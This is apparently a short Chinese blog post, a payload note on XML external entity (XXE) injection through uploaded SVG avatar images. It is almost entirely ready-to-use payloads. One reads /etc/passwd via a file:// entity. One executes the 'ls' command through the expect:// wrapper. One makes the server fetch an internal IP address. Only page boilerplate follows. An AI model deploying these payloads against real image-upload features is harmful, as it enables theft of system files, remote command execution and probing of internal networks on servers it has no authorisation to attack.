svg头像造成xxe
图片svg头像造成xxe
读取etc/passwd
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg" width="300" height="200">
<text x="10" y="20">&xxe;</text>
</svg>
执行ls命令:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "expect://ls">]>
<svg xmlns="http://www.w3.org/2000/svg" width="300" height="200">
<image xlink:href="&xxe;"></image>
</svg>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "http://192.168.1.1">]>
<svg xmlns="http://www.w3.org/2000/svg" width="300" height="200">
<text x="10" y="20">&xxe;</text>
</svg>
- 感谢你赐予我前进的力量
赞赏者名单
因为你们的支持让我意识到写文章的价值🙏
评论
隐私政策
你无需删除空行,直接评论以获取最佳展示效果